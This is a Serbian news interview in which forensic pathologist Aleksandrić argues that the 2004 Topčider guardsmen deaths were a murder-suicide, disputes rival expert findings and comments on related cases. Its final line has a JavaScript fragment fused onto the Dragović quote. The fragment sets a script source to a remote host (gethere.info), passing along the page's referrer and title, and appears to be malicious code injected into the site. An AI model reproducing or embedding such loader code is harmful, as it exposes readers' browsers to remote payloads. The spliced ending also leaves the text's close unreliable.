SLUČAJ “GARDISTI”: Aleksandrić: Nema treće osobe, sve izmislile strane službe u poteri za Mladićem

SLUČAJ “GARDISTI”: Aleksandrić: Nema treće osobe, sve izmislile strane službe u poteri za Mladićem


Profesor Branislav Aleksandrić tvrdi da je smrt dvojice gardista ispolitizovana da bi stranci ušli u tajni objekat “Karaš” u Topčideru, u potrazi za DNK Ratka Mladića. Za njega, koji je veštačio smrt gardista dileme nema – u pitanju je ubistvo i samoubistvo, a treća osoba ne postoji

Ni dvanaest godina nakon smrti dvojice gardista u vojnom objektu “Karaš” na Topčideru nema odgovora na to kako su stradali – da li je u pitanju ubistvo i samoubistvo, ili je dvojicu vojnika tadašnje vojske SCG ubila treća osoba.

Slučaj su veštačili forenzičari FBI-ja, zatim Ljubiša Dragović sa Odeljenja za forenzičku patologiju i medicinska istraživanja okruga, kao i komisija Vrhovnog saveta odbrane Srbije i Crne Gore, predvođena advokatom Božom Prelevićem, i svi oni dali su mišljenje da je vojnike ubila treća osoba, a sam protiv njih je obducent, profesor Branimir Aleksandrić, u čijem nalazu piše da je vojnik Jakovljević ubio vojnika Milovanovića, a potom izvršio samoubistvo. Za ovo veštačenje Aleksandrić je dobio “prolaz” pred stručnom javnošću, na Međunarodnom kongresu forenzičara, koji su njegov rad ocenili kao visokostručan.

Bozo_Prelevic_advokat_i_bivsi_ministar_policije-0 “Prosto je neverovatno da dvanaest godina niko od novinara, nijedne novine ni televizija, nikada nisu objavili da je Prelević izbacio dvojicu članova svoje komisije bez odluka organa koji je komisiju napravio. Izbacio je balističara Milana Kunjadića i trasologa Miroslava Busačevića”

Profesor Aleksandrić osporava nalaze FBI-ja i Dragovića iz Mičigena, rečima da su ništavni i sramni, a naročito je kritičan prema rezultatima Prelevićeve komisije, koja je, kako tvrdi, bila sklona friziranju, pa čak i izmišljanju dokaza.

– Dao sam svoje mišljenje sa kolegom Jovanovićem i stavio sam tačku na taj slučaj. Na kraju krajeva, sve ono što sam imao da kažem rekao sam i javno, u emisiji na RTS-u i argumentovano obrazložio da nema treće osobe. Tvrdim da je jedan vojnik ubio drugog, a posle pucao u sebe. Naravno da ima i suprotnih mišljenja, ali Prelevićeva komisija, između ostalog, bavila se i lažima. Recimo samo jedan primer – kažu da na licu mesta ispod pokojnog Javoljevića nisu nađeni tragovi krvi, a na foto-dokumentaciji sa lica mesta apsolutno se vidi kako se krv, na mestu izlaska projektila, slila na zemlju. Da ne pričam o drugim pod znacima navoda nameštaljkama koje su činili da bi došli do zaključka da je vojnike ubilo treće lice.

Prosto je neverovatno da dvanaest godina niko od novinara, nijedne novine ni televizija, nikada nisu objavili da je Prelević izbacio dvojicu članova svoje komisije bez odluka organa koji je komisiju napravio. Izbacio je balističara Milana Kunjadića i trasologa Miroslava Busačevića, koji su dali napismeno svoje mišljenje, izdvojeno od ostalih članova komisije. I to sam Prelević nigde ne pominje, a da ne govorim o tome da je njihovo veštačenje u suštini veštačenje koje sam ja potvrdio i dopunio. Drugim rečima, u Prelevićevoj komisiji postoje dva mišljenja – jedno koje se slaže sa mnom, i drugo na koje se Prelević večito poziva, da ih je ubio treće lice.

Isti dokazi, tvrdi, pogrešno su tumačeni, pa kod vojnika Milovanovića Komisija priznaje raspored barutnih čestica po njegovoj uniformi, i zaključuje da je pucao iz vojne puške, ali taj isti raspored barutnih čestica ne priznaje kod Jakovljevića, već, kao, ko zna otkud su tragovi na njegovoj uniformi.

Na pitanje koji bi motiv imala Komisija da štimuje dokaze, odgovara:

– Moje parastručno mišljenje je da se štimalo kako bi se dezavuisale institucije Vojske, oružanih snaga ove zemlje, kao što je uopšte tendencija. Čuli ste Božu Prelevića na televiziji, on pljuje po svim institucijama ove zemlje. One nisu idealne, ali da nijedna ništa ne valja, apsolutna je glupost. Mislim da je cilj cele ove priče, nazoviafere, bio da se otvore one katakombe u objektu “Karaš” jer da je NATO znao za njih 1999. godine, oni bi Dedinje sravnili sa zemljom. Pogotovo što se Slobodan Milošević u vreme bombardovanja jedno vreme zaista tamo krio. Drugim rečima, kako NATO nije znao za te tajne objekte, pomoću izmišljene afere trebalo je ući i “Karaš”, da se otkriju tuneli i izlazi, jer na koji drugi način protumačiti to insistiranje da se otvori objekat, da se uđe u te katakombe da bi se uzeli brisevi, da se vidi da li ima DNK tragova Ratka Mladića. Pa da je neko nešto ili nekoga skrivao, za sve te godine mogao je 15.000 puta sve to da prebriše kiselinom i izbriše tragove. Neko je ovde, da ne kažem, bio plaćen da se te katakombe, ti tuneli otvore i zloupotrebio je nesreću roditelja, i to je ispolitizovano. Kao što je ispolitizovano i samoubistvo Dade Vujasinović, kao što je ispolitizovan i udes vojnog helikoptera. Niko nije postavio pitanje zašto je poleteo da spasava ljude po Obrenovcu tokom poplava, ili u onoj mećavi u Vojvodini, a sad kad se desila nesreća, traže komandnu odgovornost, traže dlaku u jajetu, pominju etapno komandovanje. Kao da je to suština zašto je došlo do nesreće.

Gardisti PAPIRSmrt dvojice vojnika, po viđenju profesora Aleksandrića, usledila je jer je između njih dvojice bilo sukoba, pitanje je zašto i kako. Vojnik Jakovljević ispaljuje u grudi vojnika Milovanovića kratki rafal od tri metka, pri čemu je Milovanović imao pušku u ruci i onako pogođen, nagonalno je pucao dok je padao

Iako su mediji preneli nalaz stručnjaka Ljubiše Dragovića, koji navodi da je vojnike ubila treća osoba, sagovornik Ekspresa kaže da ga kolega iz Mičigena u suštini ničim nije porekao:

– Dragović je u svom nalazu napisao: “Mislim da je vojnike ubila treća osoba sve dok se apsolutno ne utvrdi suprotno.” Drugim rečima, ako je veštačenje u bilo kom pravosudnom sistemu bilo koje zemlje dokazno sredstvo, a ja sam veštačenjem dokazao da nema treće osobe, onda on meni ništa nije protivurečio. Drugo, taj Dragović prisustvovao je međunarodnom kongresu forenzičkih nauka juna 2007. u Ohridu, na kome sam prezentovao smrt dvojice vojnika. Prezentovao sam rad pred oko 70 kolega iz inostranstva. Dragović je tada i diskutovao i nije mi protivurečio, a ja sam dobio pismenu potvrdu naučnog odbora tog kongresa, dobio sam priznanje za stručno obrazloženje događaja onako kako se desio po mom viđenju. Posle nekoliko meseci Dragovića biraju za superveštačenje…

Smrt dvojice vojnika, po viđenju profesora Aleksandrića, usledila je jer je između njih dvojice bilo sukoba, pitanje je zašto i kako. Vojnik Jakovljević ispaljuje u grudi vojnika Milovanovića kratki rafal od tri metka, pri čemu je Milovanović imao pušku u ruci i onako pogođen, nagonalno je pucao dok je padao, o čemu govori haotičan raspored ispaljenih čaura iz njegove puške. Potom je Jakovljević pucao u samog sebe.

– Nauka koja se bavi suicidologijom, između ostalog, kaže da postoji bilansno samoubistvo, kada čovek sebi udara pluseve i minuse, pa kaže sebi “u minusu sam” i ubije se. Postoji demonstraciono samoubistvo, koje je izvršio bivši ministar Vlajko Stojiljković ispred skupštine, ali ima i komplikovano samoubistvo. Pazite, to kaže nauka o suicidologiji, to je samoubistvo blisko vezano za ubistvo, pri čemu nema predigre i svađe između žrtve i ubice. Zbog toga razlog ostaje uglavnom nepoznat, a veruje se da je obično neki banalan razlog, a onda u kratkom vremenskom intervalu ubica digne oružje na sebe. To je po definiciji i teoriji komplikovano samoubistvo, gde bih ja svrstao i ovaj slučaj sa gardistima – kaže Aleksandrić.

Teško ranjeni vojnik Milovanović prilikom transporta na VMA u ropcu je ponavljao: “Iznutra, iznutra”, što je protumačeno da je mislio na treću osobu. Aleksandrić to tumači na drugačiji način.

– On je pogođen tako da su mu razorena pluća i bubreg, a kod takve povrede krv ne curi nego pokulja kao iz lavora, i u momentu kad je pogođen, on je ušao u takozvani hemoralgični šok zbog gubitka krvi. I vi sad osobi u takvom stanju tumačite navodne reči “iznutra, iznutra” da govori o trećoj osobi. Ja to “iznutra, iznutra” mogu da protumačim da ga iznutra boli, da ga iznutra peče. Evo, recimo, još jedno neznanje Prelevićeve komisije – za Milovanovića kažu da znaju da je pucao, da zove u pomoć, ali ne znaju kad je pucao. A ja vas pitam – kad je neko tako teško pogođen, sa takvim razorenjem organa, sa trenutnim gubitkom velike količine krvi, je li on mogao da dođe malo sebi, pa da onda uzme pušku, da je repetira i puca? U stvari, najveću zabunu u slučaju uneo je veštak Vlada Kostić, koji se predstavio kao balističar, a on radi u Vojno-tehničkom institutu i bavi se kundacima. On je u prvom izveštaju napisao i potpisao da je Milovanović ubio Jakovljevića, pa sebe, da bi posle to izmenili – kaže on..

Za višegodišnju agoniju o smrti dvojice gardista Aleksandrić smatra da je najveći krivac u stvari Više tužilaštvo “jer nema petlju da zaključi slučaj”.

– Tužilaštvo je tu neprofesionalno, a sami kažu da nemaju nijednu sumnjivu osobu, imaju moje nedvosmisleno veštačenje, imaju moje superveštačenje za koje sam dobio stručnu ocenu, imaju moje komentare na veštačenje FBI-ja i Dragovića, koja sam ocenio kao ništavna i sramna, i neće da zaključe slučaj. I u narednim godinama i decenijama svakog 5. oktobra ovo će ovako biti, dok god tužilaštvo politizuje slučaj. U krajnjoj liniji, ako ima treće osobe, onda je zaključak da su i policija i tužilaštvo nesposobni da je uhvate, iako sam za ovih četrdeset godina, koliko radim, upoznao mnogo profesionalaca u obe ove institucije. Ovo je politikantska priča jer da postoji treća osoba, a nema je, onda bi valjda bilo u interesu neke od vlasti koja se smenjivala da je uhvati. Ovi jadni roditelji kažu da će ići kod Vučića. Neka idu slobodno, ali treće osobe nema. A ja bih voleo da uhvate tu treću osobu, pa da dođem na sud i iznesem svoje stručno mišljenje, ili pred anketnim odborom, sasvim je svejedno, samo da iznesem ceo predmet na videlo – zaključuje Aleksandrić.

O SMRTI DADE VUJASINOVIĆ

Profesor Aleksandrić govorio je i okolnostima pod kojima je stradala novinarka Duge Dada Vujasinović, čiju je obdukciju i veštačenje radio:

– Dada je po svim tragovima i po povredi mogla da ispali smrtonosni projektil sama. Kako sam napisao, projektil je ispalila nogom jer su barutne čestice nađene na čarapi desnog stopala. Nisam napisao da je u pitanju samoubistvo, nisam napisao ni ubistvo. Pitanje je da li je samoubistvo ili zades. Jer, samoubistvo je svesno i namerno uništenje svog života, a neko ko je pijan kao majka, za njega bi psihijatri rekli da je imao smanjenu uračunljivost. Mogli bismo govoriti o pseudosamoubistvu jer možda se igrala onom puškom, pa slučajno opalila, što bi bio zades. Da li je samoubistvo ili zades, ni sud, ni tužilaštvo, ni mene kao veštaka ne interesuje, nas interesuje da li ima neko da se goni ili nema. Lično mislim da otac pere svoju savest, znao je da ćerka pije, znao je da je pričala o samoubistvu, a ostavio joj svoju pušku, i još joj ostavio municiju.

VERUJEM DA JE POSTOJAO TREĆI METAK

Na pitanje da li bi voleo da govori pred anketnim odbor o ubistvu premijera Srbije, kaže da bi nakon rekonstrukcije događaja mogao da se izvede zaključak da je postojao treći metak.

– Nemam razloga da ne verujem veštacima Dunjiću i Kunjadiću, iako je Dunjić nekada znao da zastrani, da navijački nastupi, kaže ubeđen je u nešto. Ja mu kažem: “Lale, ne mogu na sudu da pričam u šta sam ubeđen nego koji su mi argumenti.” Lično, u ubistvu premijera verujem da je bio treći metak, pri čemu advokatima verujem samo pet odsto, a ostalo bacim u vodu jer oni uđu u laž, pa i sami u nju veruju. Ja sam radio obdukciju pokojnog premijera, ali ne znam detaljno lice mesta, ne znam tragove na licu mesta, ali polazim od jedne logične fiziologije kretanja čoveka, pogotovo na štakama. Pogođen je, navodno, iz Gepratove, ali koja je logika da se ja, sa štakama, okrećem leđima da gurnem vrata i onda se opet okrenem prema vratima… Po mom viđenju, imajući u vidu fiziologiju kretanja, metak je stigao iz drugog pravca. Naravno, da bih ovo dokazao, tražio bih rekonstrukciju… – dodaje profesor Aleksandrić.

VUČIĆ: NISAM NI SUDIJA, NI TUŽILAC

Na zahtev roditelja gardista da ih primi, premijer Aleksandar Vučić odgovorio je da će dati sve od sebe da nađe vremena da razgovara sa njima, ali da nije ni sudija ni tužilac. Advokati roditelja traže i da se formira nova komisija koja će se baviti slučajem “Topčider”.

PRELEVIĆ: UMESTO TUŽILAŠTVA, MEDIJI I PORODICE TRAŽE POČINIOCE

Božo Prelević, predsednik nezavisne komisije koja se bavila slučajem, rekao je za B92 da je besmislen predlog o formiranju neke nove komisije koja bi istraživala slučaj ubistva gardista:

– Svaka komisija potpuno je besmislena dalje. Ovde treba da se traži ko je to počinio. Jedino se to ne radi i sada se to razvodnjava opet nekim komisijama, da nas primi ovaj, da nas primi onaj. U kakvoj zemlji mi živimo ako neko treba tužiocu da da mig da radi svoj posao? Onda to nije vladavina prava.

Komisija, koja je formirana po nalogu tadašnjeg predsednika Državne zajednice SCG Svetozara Marovića obavila je uviđaj, ekshumirala leševe, sprovela sudsko-medicinsko i balističko veštačenje i zaključila da je gardiste ubila treća osoba.

– Ako vidite da nema traganja za počiniocem, vi u stvari vidite da je ta snaga koja sakriva istinu i sprečava istragu mnogo jača od ove koju čine mediji, uglavnom, i porodica. Koji traže da se pronađe ne samo počinilac nego i motiv tog bezumnog čina – dodao je Prelević.

DRAGOVIĆ: NEKO TREĆI DOK SE NE DOKAŽE SUPROTNO

U izveštaju stručnjaka Ljubiše Dragovića iz Mičigena, između ostalog, je navedeno:

“Po Vašem zahtevu upućenom preko gospodina Danijela Lemiša, U. S. Department of Justice, pregledao sam celokupan priloženi materijal, kao i dokaznu dokumentaciju koju mi je naknadno prosledio specijalni agent Majkl van Arsdejl (FBI Labaratory, Quantico, Virginia, U. S. A.) u vezi sa pogibijom vojnika Jakovljevića i Milovanovića, u objektu posebne namene u topčideru 5. oktobra 2004…

Očigledno je, iz celokupnog priloženog istražnog materijala, da su iz objektivnih i subjektivnih razloga učinjeni brojni propusti na samom početku istrage smrti ovih vojnika, počev od narušavanja integriteta lica mesta, nastavljajući se tokom autopsije smrćenih, do laboratorijskih analiza njihovih uniformi, oružja i dodatne vojne opreme. Propusti su doveli do smanjena fizičke definisanosti dokaznog materijala da su se praznine u daljem toku istrage nastojale popuniti maštovitim multidisciplinarnim teorijama, a postojeći kontradiktorni dokazni materijal je ignorisan….

Moje je mišljenje da je obojicu vojnika lišio života neko treći, dokle god se ne nađu neoborivi dokazi koji bi ukazali na suprotno…”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;